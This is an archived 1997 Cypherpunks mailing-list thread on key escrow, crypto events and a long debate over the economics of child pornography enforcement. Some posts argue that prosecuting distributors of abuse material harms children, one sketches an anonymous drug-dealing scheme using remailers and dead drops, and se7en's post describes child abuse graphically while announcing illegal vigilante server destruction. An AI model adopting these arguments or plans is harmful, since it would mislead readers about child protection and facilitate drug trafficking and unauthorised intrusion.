Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5yuYY9Co1n+aLhhAQGdGAP+IEUg1I/i8KPCBrQmpaHbBwX7vFrO6N5U
kIi21MAcWfkuRYMTte+9gnAyi1xyHQsGnvXoYBK9zNQK3H35gKCEbLwIDj0kJoFQ
yBJrHkDOz8FBQDH5hPiCgu+Pf9ps9u9PKHnlHZF6cWOy5GkoEoNrCn4ejpq27Qbi
ujNCulmP/JQ=
=tjU8
-----END PGP SIGNATURE-----






From marc at cygnus.com  Mon Jun  9 19:20:26 1997
From: marc at cygnus.com (Marc Horowitz)
Date: Tue, 10 Jun 1997 10:20:26 +0800
Subject: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>
Message-ID: 



Bill Stewart  writes:

>> Having argued that point vociferously in the past, I'm now going to
>> waffle on the issue - while the business need is for access to
>> stored data, this may often include stored messages received from
>> a communication system in encrypted form.  Either the User Interface
>> needs to make it convenient to store the decrypted message,
>> or else the user will store the message in encrypted form -
>> which means there may be a business need for Proper Authority Access later.

To me, mail encryption is not communications encryption.  The mail
message is encrypted, just like a file might be.  Then those encrypted
bits are sent over the net.  It is precisely because I have access to
the ciphertext as a separate entity that this is not communications
encryption.

This is in contrast to ssh, kerberized telnet, IPsec, etc., where once
the communications has happened, I either have the cleartext bits
(example: scp), or nothing but a memory in my head (example: telnet).
In this situation, private escrow of keys is useless, unless I'm also
escrowing the ciphertext.  Nobody I know archives their cyphertext
data flows.  Anybody know of a contradiction?

The *only* reason to escrow communications keys is to spy on people;
there is never an opportunity for data loss here.

Note that this also means that private key recovery (intra-corporate,
for example) is consistent with perfect forward secrecy, since the
former is never useful for communications, and the latter only is.

This doesn't fix the potential problems with email, but it does let
you continue to argue vociferously and with a clear conscience against
communications key escrow in any form.

		Marc






From shamrock at netcom.com  Mon Jun  9 19:50:05 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 10 Jun 1997 10:50:05 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <199706092117.OAA29644@netcom17.netcom.com>
Message-ID: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>



At 03:02 PM 6/9/97 -0700, Tim May wrote:
>Precisely. The laws are designed to go after the thoughts. Synthetic
>images, images of little girls in leotards. images of teenagers of legal
>age *in the countries of origin*...none of these involve acts of sexual
>congress with a child in violation of the laws of the U.S. The only crime
>is thoughtcrime.

Lately, I have been thinking much about an old saying: "Everything is the
other way around."

My current interpretation of this rather Zen expression is that what we
know to "obviously" to be the cause is often the effect and the other way
arround.

Let us assume that it is unethical to force children to participate  in the
production of child pornography. (For the benefit of Kent and the more
ignorant people on this list, I will state that I firmly believe this to be
true, despite the fact that doing so should be irrelevant for the argument.)

Furthermore, let us assume that there are a number of individuals who enjoy
looking at hard core child pornography.

The question then is: does going after the distributors provide a benefit
to the children being (potentially) used for such pictures?

The answer is clearly no. By limiting the distribution of an individual
picture, you increase the total number of pictures required to satisfy
market demand. That means more children will be required to meet demand.

Thus, by going after the distributors, Se7en causes more children to be
violated by child pornographers.

The only question that remains is: how can he live with this?

Logic != base emotions,

--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From ichudov at Algebra.COM  Mon Jun  9 20:02:48 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 11:02:48 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <199706100252.VAA02513@manifold.algebra.com>



Lucky Green wrote:
> Let us assume that it is unethical to force children to participate  in the
> production of child pornography. (For the benefit of Kent and the more
> ignorant people on this list, I will state that I firmly believe this to be
> true, despite the fact that doing so should be irrelevant for the argument.)
> 
> Furthermore, let us assume that there are a number of individuals who enjoy
> looking at hard core child pornography.
> 
> The question then is: does going after the distributors provide a benefit
> to the children being (potentially) used for such pictures?

> The answer is clearly no. By limiting the distribution of an individual
> picture, you increase the total number of pictures required to satisfy
> market demand. That means more children will be required to meet demand.

How do you justify that "clearly"?

I think that your analysis is incorrect.

This is a supply and demand situation. It is very simple to show (as any
microeconomics textbook does) that a tax on the product reduces the amount
of product sold and produced.

Since a unit of product is probably one picture of a child, there are
less units produced if they are taxed.

In the case of child porn, all this persecution is a form of tax, although
not very quantifiable.

igor


> Thus, by going after the distributors, Se7en causes more children to be
> violated by child pornographers.
> 
> The only question that remains is: how can he live with this?
> 
> Logic != base emotions,
> 
> --Lucky Green  PGP encrypted mail preferred.
> 
>   Put a stake through the heart of DES! Join the quest at
>   http://www.frii.com/~rcv/deschall.htm
> 



	- Igor.






From ravage at EINSTEIN.ssz.com  Mon Jun  9 20:10:10 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 10 Jun 1997 11:10:10 +0800
Subject: Thoughtcrime   (Re: My War) (fwd)
Message-ID: <199706100235.VAA03328@einstein.ssz.com>



Hi,

Forwarded message:

> Date: Mon, 09 Jun 1997 18:35:34 -0700
> From: Lucky Green 
> Subject: Re: Thoughtcrime   (Re: My War)

> Let us assume that it is unethical to force children to participate  in the
> production of child pornography. (For the benefit of Kent and the more
> ignorant people on this list, I will state that I firmly believe this to be
> true, despite the fact that doing so should be irrelevant for the argument.)

> Furthermore, let us assume that there are a number of individuals who enjoy
> looking at hard core child pornography.

> The question then is: does going after the distributors provide a benefit
> to the children being (potentially) used for such pictures?

> The answer is clearly no.

Assuming, tacitly of course, that the supply of distributors is unlimited.
If the resource is limited, as it actualy is, by getting the distribution
node you in effect cut many people off. Thus forcing either total denial or
else direct intervention, thus raising the chance of getting caught because
more persons would be involved than would normaly be the case. This in
effect clearly indicates a benefit to going after the distributors. This
argument can be extended to the film-maker as well.

Now some will say that it doesn't matter, somebody else will always pop up.
The problem with this is that we have a limited population and there are
only a statistical percentage going to be interested in the activity. This
implies that there is some set of persons who will not participate. The
trick is to get the non-participants to be the larger of the two.

> By limiting the distribution of an individual
> picture, you increase the total number of pictures required to satisfy
> market demand. That means more children will be required to meet demand.

By extension then full and complete public distribution would minimize it
completely. So, you are seriously stating that we should put such pictures
on the daily television, say during childrens hour? Now if we follow this
further we are left with the image of our government hiring children to pose
for said images because the supply of 'actual' images had diminished.
That is truly a case of the pot calling the kettle black. Plus the sicko's
get free, danger free, thrills at the public expence. Wooo, just what I
want my tax dollars spent on.

We are clearly dealing with a cusp-shaped function here. The implication
being that some form of regulation is beneficial if we want to actualy
reduce child abuse.

> Thus, by going after the distributors, Se7en causes more children to be
> violated by child pornographers.

Or just possibly making the supply even more scarce because fewer and fewer
are willing to take the chance of making a few bucks.

> The only question that remains is: how can he live with this?
> 
> Logic != base emotions,

Ahmen brother!

Otherwise, feldercarb.

   _______________________________________________________________________
  |                                                                       |
  |            Moderation in all things, including moderation.            |
  |                                                                       |
  |                            -I wish I could remember-                  |
  |                                                                       |
  |     Jim Choate                                 ravage at ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|






From rah at shipwright.com  Mon Jun  9 20:32:30 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 10 Jun 1997 11:32:30 +0800
Subject: WSJ on Money Laundering
In-Reply-To: 
Message-ID: 



At 4:42 pm -0400 on 6/9/97, Alan wrote:


> In fact, the article points out that just about
> any monetary transaction can be declared money laundering.  (And get
> upheld in court!)


Yeaaaah... Ain't fungibility a bitch?

Well, folks, about 30 years we sowed a crop of inumeracy in our school
system, and now it's time to reap the harvest.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tcmay at got.net  Mon Jun  9 20:34:55 1997
From: tcmay at got.net (Tim May)
Date: Tue, 10 Jun 1997 11:34:55 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: 



At 7:52 PM -0700 6/9/97, Igor Chudov @ home wrote:
>Lucky Green wrote:

>> The answer is clearly no. By limiting the distribution of an individual
>> picture, you increase the total number of pictures required to satisfy
>> market demand. That means more children will be required to meet demand.
>
>How do you justify that "clearly"?
>
>I think that your analysis is incorrect.
>
>This is a supply and demand situation. It is very simple to show (as any
>microeconomics textbook does) that a tax on the product reduces the amount
>of product sold and produced.

Your economics education must have some gaps. Look into "price elasticity."
Look also at the markets for illegal drugs: despite severe "taxation" (in
the form of price increases of some drugs, increased prison terms, etc.),
some markets have increased even as prices have increased.

Closer to home, analyze gas consumption as gas taxes in American have risen
nearly 400% in the past 25 years (roughly following the OPEC shock in ;73).

With drugs, knocking out distributors has in many cases increased the
selling price of the drug, making it actually more lucrative for street
dealers to enter the market.

A complicated system, no doubt, but arguments based on "Econ 101" are
usually flawed when dealing with complex systems (something Samuelson would
almost certainly agree with me on).

>Since a unit of product is probably one picture of a child, there are
>less units produced if they are taxed.

This is not at all clear. If the crackdown on child porn, or porn in
general, causes the street price to rise to $10 a picture, say, then many
folks not producing child porn now might be tempted to get into the market.

If you look at your Econ 101 text again, read up on cycles of pork bellies
and suchlike agricultural products. Every shortage is followed by a period
of "overproduction," and vice versa.

What this all means for the porn trade is unclear, but looking at the drug
trade is pretty revealing.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rah at shipwright.com  Mon Jun  9 20:37:59 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 10 Jun 1997 11:37:59 +0800
Subject: Intro to Cyptosystems talk 6/23 7pm
Message-ID: 




--- begin forwarded text


Sender: net-thinkers at thumper.vmeng.com
Reply-To: Vinnie Moscaritolo 
Mime-Version: 1.0
Precedence: Bulk
Date:  Mon, 9 Jun 1997 14:32:34 -0700
From: Vinnie Moscaritolo 
To: Multiple recipients of 
Subject:  Intro to Cyptosystems talk 6/23 7pm

ever wondered what the buzz about cryptography is all about..

You are all welcome to attend my "Introduction to Cyptosystems"  tutorial at
the BMUG South meeting.. It's open to the public.

When:  Monday, Jun 23
Time:  7:00 PM
Where:  Town Hall, Apple R&D Campus (blding 5)
How long: 60 mins or so?

---------------

Q: Why should you care about this stuff..?

A: The internet is not a secure channel,  It's easy intercept your email or
files or even know what webpages youve been looking at. Cryptography is a
tool that provides you privacy and protection from competitors and the news
media scum. How much do you trust to the internet?

Cryptography is also the best protector of the most cherished civil
liberty: "the freedom of speech"

Q: But I have no secrets to keep?

A: Cryptography is not just about secrets, In addition to providing
confidentiality, modern cryptography holds the  building blocks necessary
for successful electronic commerce.

	Authentication:
	The receiver of a message can  ascertain it's origin;
	 an intruder should not be able to masquerade as someone else.

	Integrity
	The receiver of a message can ensure that the data has not
	been modifed in transit;  an intruder should not be able to
	substitute a false message for a legitimate one.

	Nonrepudiation
	A sender should not be able to falsely deny that he sent a message

Q:Why should I care about electronic commerce. Apple hasnt done anything
with it?

A:  That the point of this talk. E-Commerce will be a bigger market than
anything we have ever been in before.  Ask yourself, What is the biz
proposition  for anyone publishing on the NET and the answer will be net
commerce.

Q: what will you talk about

    What is Cryptography
	What it's used for
	How Cryptosystems work
	secret/public key encyption,
	digital signitures,
	modern crypto systems
	key management,
	e-commerce,
	Governement Issues

    This talk is NOT about�
	Theoretical Mathematics
	Programming APIs
	Specific Products

	Who this talk is for
	Marketing Evangelist Engineer
	Anyone who needs to be Crypto competent

There is a PDF of the slides at http://www.vmeng.com/vinnie/papers.html



Vinnie Moscaritolo
That Crypto Guy at Apple...
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From shamrock at netcom.com  Mon Jun  9 20:45:13 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 10 Jun 1997 11:45:13 +0800
Subject: [Noise, California only] Good deal on ISDN access
Message-ID: <3.0.2.32.19970609203945.00715b00@netcom13.netcom.com>



[I have been sick at home all day, when I just couldn't sleep anymore I hit
the web. I hope this makes sense...]

Given that a good number of people on this list live in CA, this might be
of interest to you. It certainly was to me. PacBell is selling flat rate 2B
ISDN Internet access at $50/month. Plus the regular home ISDN fees, but
this is still much cheaper than what I paid before. You might want to think
hard before you buy at new 56k modem that in all likelihood won't be able
to give you 56k anyway. And no analog modem will ever give you 128kbps.

Analog lines aren't made for data. They aren't particularly good for data.
That's why ISDN was designed. It didn't take off until recently, since it
was priced for business and business decided they didn't need it for
various reasons. But at these prices, you'd have to be a starving student
or nuts not to get it at home.

http://dialup.pacbell.net/ISDN/

Disclaimer: I have no financial interest in PacBell. It would be nice,
though. :-)


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From ravage at EINSTEIN.ssz.com  Mon Jun  9 20:48:31 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 10 Jun 1997 11:48:31 +0800
Subject: Thoughtcrime   (Re: My War) (fwd)
Message-ID: <199706100316.WAA03518@einstein.ssz.com>



Forwarded message:

> Date: Mon, 9 Jun 1997 20:22:44 -0700
> From: Tim May 
> Subject: Re: Thoughtcrime   (Re: My War)

> Your economics education must have some gaps. Look into "price elasticity."
> Look also at the markets for illegal drugs: despite severe "taxation" (in
> the form of price increases of some drugs, increased prison terms, etc.),
> some markets have increased even as prices have increased.

Clearly this whole discussion can be broken down into a cusp shaped gap.
Too much regulation will cause the market worth to soar hence driving a
large increase in at least attempted revenue spent on the commodity. Whereas
a complete lack of regulation will saturate the market hence driving
suppliers and distributors out of the market, leaving a few megaliths.
Somewhere in the middle is a point where there is actualy a minimum of
the events you are trying to eliminate.

> With drugs, knocking out distributors has in many cases increased the
> selling price of the drug, making it actually more lucrative for street
> dealers to enter the market.

Actualy what it does is increase the perception of danger and difficulty in
the mind of the user and low-level dealer. The actual cycle is much more
complicated than Tim is alluding to here. First there is the total supply of
raw material, processing, and distribution. This sets a hard baseline limit
on the total available drug. Then we have a certain fluctuating percentage
of the population who use it. If we study the typical 'addict cycle' for
different drugs and users we see a multiplicity of cycles and patterns of
behaviour (eg most users who don't od kick the habit after a period of
time). Then we have the perception of those users on the availability of the
drug. There is also the percentage of tax that a society can support at a
given standard of living to support police activity specificaly for drug
control. The image that John and Jane Doe have on the impact of drugs on
their lives. And on and on... 

> This is not at all clear. If the crackdown on child porn, or porn in
> general, causes the street price to rise to $10 a picture, say, then many
> folks not producing child porn now might be tempted to get into the market.

Any many who had thought about it would decline because of the increased
chance of getting caught.

Specificaly how are you justifying the assumption that the net effect would
be to increase the total available distributors? It seems to me that such
an arguments natural extension would be that it would increase the net
number of movie makers not distributors. Consider, the number of distributors
is reduced by a very public campaign. Obviously two things come from this.
First is the actual reduction of available material and the perception that
distribution is a very dangerous game. So what does our enterprising
pedophile do? He buys himself a camera and proceeds to make his own for him
and his buddies. Hell, if he gets too worried he can start killing the kids
so they can't squeel.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage at ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|






From tcmay at got.net  Mon Jun  9 21:15:45 1997
From: tcmay at got.net (Tim May)
Date: Tue, 10 Jun 1997 12:15:45 +0800
Subject: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <199706100316.WAA03518@einstein.ssz.com>
Message-ID: 



At 8:16 PM -0700 6/9/97, Jim Choate wrote:

>  ...    The actual cycle is much more
>complicated than Tim is alluding to here.

I agree. I was mainly reacting to Igor's simplistic model from Economics
that a tax on something will decrease consumption of it.

There are many, many other issues.

I didn't even mention one of the most basic ones: no one expects to get caught.

Thus, the increased penalties do indeed increase the averaged costs of
producing child porn. But a rule of thumb is that markets will thrive when:


          selling price > production cost

Or,

          selling  price - production cost = profits

Sellers of illegal mateials will factor in their chances of getting caught,
the punishment if caught, etc., as another part of the production cost. So,

   selling price - (production costs of item plus chance of being caught
times chance of being convicted times punishment if convicted) = profits

And so on. The higher selling price of a more restricted item may in fact
cause more sellers to enter the market. This was Lucky's point.

It's all very complicated. And strong crypto, of course, is on the verge of
making the risk of getting caught near zero. You know the rest.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ichudov at Algebra.COM  Mon Jun  9 21:20:18 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 12:20:18 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: 
Message-ID: <199706100411.XAA03021@manifold.algebra.com>



Tim May wrote:
> At 7:52 PM -0700 6/9/97, Igor Chudov @ home wrote:
> >Lucky Green wrote:
> 
> >> The answer is clearly no. By limiting the distribution of an individual
> >> picture, you increase the total number of pictures required to satisfy
> >> market demand. That means more children will be required to meet demand.
> >
> >How do you justify that "clearly"?
> >
> >I think that your analysis is incorrect.
> >
> >This is a supply and demand situation. It is very simple to show (as any
> >microeconomics textbook does) that a tax on the product reduces the amount
> >of product sold and produced.
> 
> Your economics education must have some gaps. Look into "price elasticity."
> Look also at the markets for illegal drugs: despite severe "taxation" (in
> the form of price increases of some drugs, increased prison terms, etc.),
> some markets have increased even as prices have increased.
> 
> Closer to home, analyze gas consumption as gas taxes in American have risen
> nearly 400% in the past 25 years (roughly following the OPEC shock in ;73).

An interesting point, Tim.

Your examples show that over time, demand and supply curves change. For
example, despite taxation, there are more people driving and they have
to drive farther because more people live in suburbs.

I would not be surprised if, when a certain product is taxed, its
consumption would increase over the long run due to many other factors
besides taxes.

The question that is more relevant is, what is the incremental impact
of the tax, that is, what would happen if the tax changed and all
things remained equal? (this may be called a short term impact of the tax)

An example to look at is online [adult] porn. It is, for all practical
purposes, not regulated. We see a humongous number of pornographic
images being created, not surprisingly, even though Lucky's argument
would suggest that there should not be such a variety if anyone can
freely copy them.

> With drugs, knocking out distributors has in many cases increased the
> selling price of the drug, making it actually more lucrative for street
> dealers to enter the market.

Yes, of course the price rises if a tax is imposed. The same econ 101
shows that if the demand is inelastic (as it is the case for drugs), the
buyers pay the bulk of the tax. So of course, the punitive laws
increased prices and made the business more lucrative. But the same laws
have also made drug trade more dangerous, because drug dealers risk to
go to jail and be shot by other dealers.

I would not be surprised to see that when the drug tax diminishes, the
drug use would go up. As a drug-free person, I do not care much about it
as, since drugs would be cheap, drug addicts will not have to kill
people to get a dose. And in the longer run, greater availability of the
images of drug addicts would probably have a good deterrent effect.

The cost of the drug tax to the society is all the inefficiencies
created by it: for example, when thousands of hard working business
people are locked up in expensive jails, it is a cost with little
offsetting benefit. The shootouts between gangs is also a cost insofar
as bystanders are involved.

Also, in an efficient system where people could buy crack at a Walgreens
counter, there would be less people involved in the whole business,
because Walgreens is more efficient at distribution than the inner city
drug dealers. As a result, these former drug dealers would be out of
business and be gainfully employed in some more productive trade.

> A complicated system, no doubt, but arguments based on "Econ 101" are
> usually flawed when dealing with complex systems (something Samuelson would
> almost certainly agree with me on).

Samuelson himself has "proven" some quite funny theorems.

> >Since a unit of product is probably one picture of a child, there are
> >less units produced if they are taxed.
> 
> This is not at all clear. If the crackdown on child porn, or porn in
> general, causes the street price to rise to $10 a picture, say, then many
> folks not producing child porn now might be tempted to get into the market.

Tim, let's compare child porn (with images of persons below 18 years
of age) with adult porn.

In other words, 

	1) there is little difference, in terms of consumer utility,
	   between pictures of 17 year olds and pictures of 21 year 
	   olds
	2) The costs of producing these images, EXCLUDING TAX, are 
	   essentially equal.

That should lead us to expect that without taxes, the number of 16 year
old pictures would be about the same as the number of 21 year old
pictures, give or take 50%.

However,

	3) There is a tax imposed on "child" porn.

And we indeed observe that 

	4) the number of 16 year old images that is available
	   is much, much lower.

> If you look at your Econ 101 text again, read up on cycles of pork bellies
> and suchlike agricultural products. Every shortage is followed by a period
> of "overproduction," and vice versa.

The problem with cyclical products is high fixed costs and high exit costs.

Agricultural products are very specific because their production cannot
be easily changed when the future supply becomes certain. After all, you
can't kill all the little pigs or raze the corn crop and plant potatoes
in June, even  if you know that due to the weather there will be a lot
of it in the market.

> What this all means for the porn trade is unclear, but looking at the drug
> trade is pretty revealing.

Could not agree more.

> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.






From ichudov at Algebra.COM  Mon Jun  9 21:34:00 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 12:34:00 +0800
Subject: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: 
Message-ID: <199706100422.XAA03115@manifold.algebra.com>



Tim May wrote:
> It's all very complicated. And strong crypto, of course, is on the verge of
> making the risk of getting caught near zero. You know the rest.

I do not think that it is "on the verge", rather, it is there already.

I have a business plan. It presumes that I can RECEIVE cash
anonymously and operate in a certain city. As far as I understand,
a modification of existing protocols allows to implement anonymity 
of payees.

I open a trug trading center at, for example,
drugz at anonymous.mailserver.com. Alternatively, I can publish my public
key in alt.anonymous.messages.

Drug addicts would send me digital cash and specify which drugs they
wish to receive, and send me their public keys. I would place their
drugs in some random place in that city, and then send them (anonymously) 
the location of the place so that they can pick it up.

I do not see how I can be detected, modulo the security of anonymous
remailers. Since my reputation will be based on PGP authentication, I
will have an incentive not to cheat.

	- Igor.

P.S. I do not believe that anon remailers provide an adequate security.






From jamesd at echeque.com  Mon Jun  9 22:03:49 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Tue, 10 Jun 1997 13:03:49 +0800
Subject: FCPUNX:My War
Message-ID: <199706100450.VAA27290@proxy3.ba.best.com>



At 11:13 PM 6/8/97 -0700, se7en wrote:
> [about child pornography on the internet]
> It is disgustingly real. It is so real it will make you 
> want to throw up, and I actually, physically did throw up last night.
>
> Second, in reference to previous conversation over the years on this list, 
> and in the hacking community in general, I know this type of activity is 
> not tolerated by us.

You are no hacker:  You appear to be Rich Graves.  Furthermore this 
activity is tolerated by us.

And as usual you are discovering and publicising all sorts of good reasons
why the government should supervise us, while piously declaring you are
opposed to any such supervision.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From shamrock at netcom.com  Mon Jun  9 22:11:12 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 10 Jun 1997 13:11:12 +0800
Subject: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <199706100316.WAA03518@einstein.ssz.com>
Message-ID: <3.0.2.32.19970609220513.006d5bf8@netcom13.netcom.com>



At 09:08 PM 6/9/97 -0700, Tim May wrote:
>At 8:16 PM -0700 6/9/97, Jim Choate wrote:
>
>>  ...    The actual cycle is much more
>>complicated than Tim is alluding to here.
>
>I agree. I was mainly reacting to Igor's simplistic model from Economics
>that a tax on something will decrease consumption of it.
>
>There are many, many other issues.
>
>I didn't even mention one of the most basic ones: no one expects to get
caught.

This is certainly true. I lived in cities most of my life and encountered a
good number of sellers of various illegal merchandise. [On 6th Street in
San Francisco, everything from crack to counterfeit subway passes is on
sale. On SSI payday, the dealers line up at 8 am right across from the
check cashing place. This is taking place two blocks away from the main
police station, the municipal court, and the county jail. The dealers
conduct their business openly in plain sight of anyone walking to the
nearby subway station. Same for the consumers smoking glass pipes in the
alley half a block away. All of this is funded by your tax dollars.]

Neither party seems to think they will be caught.

>Thus, the increased penalties do indeed increase the averaged costs of
>producing child porn. But a rule of thumb is that markets will thrive when:
>
>
>          selling price > production cost

Medical cocaine wholesales in the US for $0.50 per gramm. I am told that
"street" cocaine with <50% active ingredient sells for about $50 a gramm.
That's two orders of magnitude difference between production cost and
selling price. No wonder that some of the smarter youths, the one's that
can keep track of money and understand business, choose careers as drug
dealers. What other good gives you similar profit margins? [I believe they
are missguided, but this must be hard to understand if you are 16 and can
make $1000 per day selling drugs.]

Well, child pornography might have similar profit margins. Or at least it
will, once Se7en and the feds succeed in raising the price.

Everything is the other way around,


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From se7en at dis.org  Mon Jun  9 22:16:23 1997
From: se7en at dis.org (se7en)
Date: Tue, 10 Jun 1997 13:16:23 +0800
Subject: Response to "My War"
Message-ID: 




I have been away for most of the day, and came home to see I hit a 
sensitive spot in one way or another with many people. I tried to respond 
to many people who sent me private messages, but for some strange ass 
reason all of my mail is bouncing as "host unknown." I am quite sure 
aol.com exists. So I am going to try and respond to much of it here. 

In my long rant, I realized the message was getting too long, and 
paraphrased some of my larger thoughts. I figured everyone would know 
what I was trying to get at, but I was wrong. To clarify a few points, 
before I get to the debate:

I was not advocating the destruction of servers that are used by large 
numbers of people. I was thinking of the terminology used by the people 
trading...fserv/ftp servers, many of which are virtual to their desktops 
which can be shut on and off at will by them as desired. My reference to 
destruction of servers fit this definition. I don't want to affect large 
numbers of innocent users to get the few scumbags out there. That is not 
acceptable. Precision strikes yes, not mass strikes for the "greater 
good." That is asinine.

Nor was I attempting, as some did point out, to be some sort of "ring 
leader" in this crusade. I do not plan to organize some large anti-kiddie 
porn team. I plan on spending a few hours a week, on my own, identifying 
active participants in this activity. I plan on gathering logs of various 
types of activity to justify my actions. I plan on taking action which 
will affect only these individuals. I will make public postings on my own 
accord to various places on the Internet (dc-stuff WILL NOT be one of these 
places).

These are things I am doing on my own. If others would like to join the 
effort, I would ask they do the same thing. Spend a few hours a week in 
their world to identify the traders and do what you do best to either 
wreck them or make things a serious hassle for them to continue. I do not 
want a personal strike team to organize and manage.

As far as freedom of speech goes, sorry guys, it does not cover activities 
which violate the rights of others. Someone does not have the right to fuck 
a four-year-old girl in the ass, take pictures of it, and then scan it and 
upload it to the Internet. No one has the right to force a six year old 
girl to suck his dick until cum is running down her face, take pictures 
of the whole thing, and, once again, upload it to the Internet. This is 
not covered. Go back to school if you think it is.

Anyone who thinks this doesn't affect the young children, you are wrong. 
I doubt these children consented to the sexual activity. I doubt they 
consented to being photographed. I doubt they consented to the pictures 
being distributed to others. I am sure this affects the 
emotional/psychological state of the child victim in many ways beyond 
what most of us can understand. I think we can all agree that is creates 
a less-than-optimal psychological state in the children.

I know my actions are themselves illegal. I am not going to try to 
morally justify it with comments such as "It's for the greater good," or 
"What they are doing is more illegal than hacking." I know my actions 
against these people are illegal, and many for good reason. It is 
destruction of property. I am honest enough to admit I will be breaking 
laws. At least I don't try to rationalize it behind some strange, 
twisted sense of logic. 

I am not here to force my morals on anyone. If you agree with me, fine. 
If you have the ability to do something about it, fine. If you disagree, 
fine. I have had some disagreements against my email/plan/whatever. I 
have read evry single one of them. I do not hate those who disagree with me. 
I see the logic in their arguments. I actually encourage it, as it helps 
me to define what I plan to do better. 

Everyone has the right to say what they want, whether they agree or not. 
That includes me, that includes you. This, of course, as long as it doesn't 
violate the more fundamental rights of others. Agree with me? Yes. Disagree 
with me? Yes. Distribute child porn. No!

On an interesting note, in instances where I have talked one-on-one with law 
enforcement agencies in the past, I have thrown several hypothetical cases 
their way to judge their reaction: (A small glimpse of my Defcon speech)


ME: "If I entered a system without authorization and poked around a left, 
would you arrest me?"
THEM: "No. We don't have the time or resources for that. We aren't 
interested in the people who look around without causing damage despite 
what everyone thinks."

ME: "If I entered a system without authorization and destroyed it, would 
you arrest me."
THEM: "Most definitely." 

ME: "If I was at Defcon and entered a system without authorization that 
was dedicated to the distribution of child pornography and destroyed it, 
and you were looking over my shoulder the whole time and saw what I did, 
would you arrest me?"
THEM" "I would turn around and walk away."


se7en






From se7en at dis.org  Mon Jun  9 22:17:23 1997
